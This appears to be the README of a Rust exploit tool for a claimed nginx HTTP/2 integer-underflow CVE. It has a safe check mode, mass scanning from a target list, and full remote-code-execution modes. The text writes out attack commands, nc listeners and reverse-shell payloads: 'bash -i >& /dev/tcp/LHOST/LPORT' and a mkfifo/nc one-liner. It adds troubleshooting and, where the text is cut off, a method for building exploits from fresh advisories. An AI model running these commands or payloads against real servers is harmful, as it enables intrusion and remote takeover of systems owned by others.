
Research Note: Turning Public Intelligence into a Root Exploit (Case Study: CVE-2026-123007)
An exploit client for CVE-2026-123007 (an HTTP/2 flow-control integer underflow in nginx that can lead to RCE with the worker's privileges). A single Rust binary. No nginx installation, build, or deployment is required: the tool only talks to a target that already exists (a public nginx server, or a localhost instance you set up yourself).
Only want to prove the CVE? Read
PROOF.md. One command, ~14 MiB, no listener/profile/119 GiB:poc --host https://TARGET/ --safe(--proofis an alias).--exploit/--shellbelow are for the full RCE chain.
# 1. build (once)
cargo build --release
# 2. check whether a target is vulnerable — safe, no crash, ~14 MiB
./target/release/poc --host https://target.example --safe
# 3. many targets at once (one URL per line)
./target/release/poc --targets targets.txt --safe
# or several URLs directly
./target/release/poc --hosts https://a.example --hosts https://b.example
With no mode flag, the default is --safe (cheap and safe).
Successful output:
[+] CVE-2026-123007 PROOF: VULNERABLE
target: https://target.example/ resource: /index.html
observed: server=Some("nginx/1.31.8") settings=[...] body=896 bytes
[1] queued-DATA refund : PASS (2 streams reset with FLOW_CONTROL_ERROR=3)
[2] public-byte release : PASS (10 bytes returned)
[3] underflowed WU guard : PASS (post-refund PING ACK)
[4] connection still usable: PASS
no memory corruption, no crash, no shell
VULNERABLE means the accounting bug was proven on that target. NOT PROVEN
means the target did not show it (patched, not HTTP/2, body too small, or a
different resource is needed). Exit codes: 0 vulnerable, 4 not proven.
The path can be given in --host or explicitly with --path:
./target/release/poc --host https://target.example/landing --safe # resource /landing
./target/release/poc --host https://target.example --safe --path /large-file.bin
--safe requires HTTPS + HTTP/2 (ALPN h2) and a resource of 521–8192
bytes that supports Range. The error message reports the computed wave size
when the body is outside that range.
| Mode | What it proves | Traffic | Time |
|---|---|---|---|
--safe | accounting bug + underflowed guard, no corruption | ~14 MiB | seconds |
--exploit | full chain, payload dispatched | ~119 GiB | minutes |
--shell | full chain + id/whoami/date/uname -a | ~119 GiB | minutes |
To answer "is the target vulnerable?", --safe is enough. Hundreds of GB are
only used when actually running RCE.
--targets (target list)One origin per line; empty lines and # comments are ignored:
# example targets.txt
https://target-a.example
https://target-b.example:8443
http://... lines are SKIPped because --safe requires TLS + ALPN h2
(HTTP/1.1-only targets are also SKIP/NOT PROVEN). --targets is only for
--safe; for exploitation, run one target at a time with --host.
One result line is printed per target, followed by a summary
N tested, M vulnerable.
--exploit and --shellThese require a target that matches an embedded profile (nginx 1.31.8
Debian 13 amd64, glibc 2.41, target CPU with avx512f + avx512vl, 4 workers,
896-byte /index.html). A 1.31.6 profile is also included. Without a match,
--safe can still answer the vulnerability question, but the RCE chain will
not run.
Choose one workflow, not both (otherwise the port conflicts):
Workflow A — --shell (simplest; the tool listens):
./target/release/poc --host https://target --shell --lhost ATTACKER_IP --yes
# do not run nc/socat: the tool already listens on 0.0.0.0:4444
Workflow B — --exploit + a manual listener:
# macOS / BSD:
nc -lv 4444
# Linux (nc/OpenBSD):
nc -lvnp 4444
# cross-platform alternative: socat TCP-LISTEN:4444,fork -
# dispatch the payload (prints the listener command and payload before the bulk)
./target/release/poc --host https://target.example --exploit \
--lhost 203.0.113.10 --lport 4444 --yes
--exploit does not listen itself; exit 0 only means the payload was
dispatched (DISPATCHED (unconfirmed)). Your listener is the evidence.
Alternatively, let the tool listen and verify the shell:
./target/release/poc --host https://target.example --shell \
--lhost 203.0.113.10 --lport 4444 --yes
# optional: --interactive to relay stdin/stdout after verification
--shell sends id; whoami; date; uname -a; echo __OK__ and only reports
SHELL OK when the output contains uid=. Exit codes: 0 shell verified,
1 stage error, 2 vulnerable but the chain did not finish, 3 dispatched
with no shell, 4 not proven.
Default payload: bash -i >& /dev/tcp/LHOST/LPORT 0>&1 (120-byte limit).
Without bash, use --cmd, e.g.
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f.
Linux: libssl-dev + pkg-config are required. macOS (Homebrew):
brew install openssl@3 pkg-config
export PKG_CONFIG_PATH="$(brew --prefix openssl@3)/lib/pkgconfig"
cargo build --release
Without PKG_CONFIG_PATH, the openssl crate picks up LibreSSL and fails.
The binary is target/release/poc.
target does not negotiate HTTP/2 (ALPN h2) over TLS — HTTP/2 is off on
that listener (or the target is HTTP/1.1-only).safe mode needs a response body of 521..8192 bytes — point --path at
a larger static file.cleanup-overcredit oracle failed — the target is patched, or a
proxy/CDN is not passing the HTTP/2 frames through unchanged.in-band HTTP/2 fingerprint matches no validated profile — a different
build/version; --safe remains valid, --exploit needs a calibrated profile.DISPATCHED, NO SHELL — the payload ran but could not reach --lhost
(firewall/NAT), or bash is missing. Use --cmd with an observable oracle.POC_KEYUPDATES — a debug knob that shortens the bootstrap flight; it
is not part of a real run.This section is not needed to test a target. scripts/validate-safe.sh builds
nginx 1.31.8 and 1.31.10 from a local source tree and asserts VULNERABLE /
NOT PROVEN — it tests the tool, it does not prepare an exploit target. Results
on the development host:
VULNERABLE (exit 0)NOT PROVEN (exit 4)The full chain needs an x86-64 + AVX512 target; the limits are described in the technical section below. Design notes and implementation plans are kept in the local working tree and are not pushed.
This section is a methodology note: how to go from "a critical CVE was announced this morning" to a working checker and exploit, using only public material and the vulnerable software itself. No private bug details and no ready-made exploit code are assumed.
Start with the authoritative records, not with blog posts: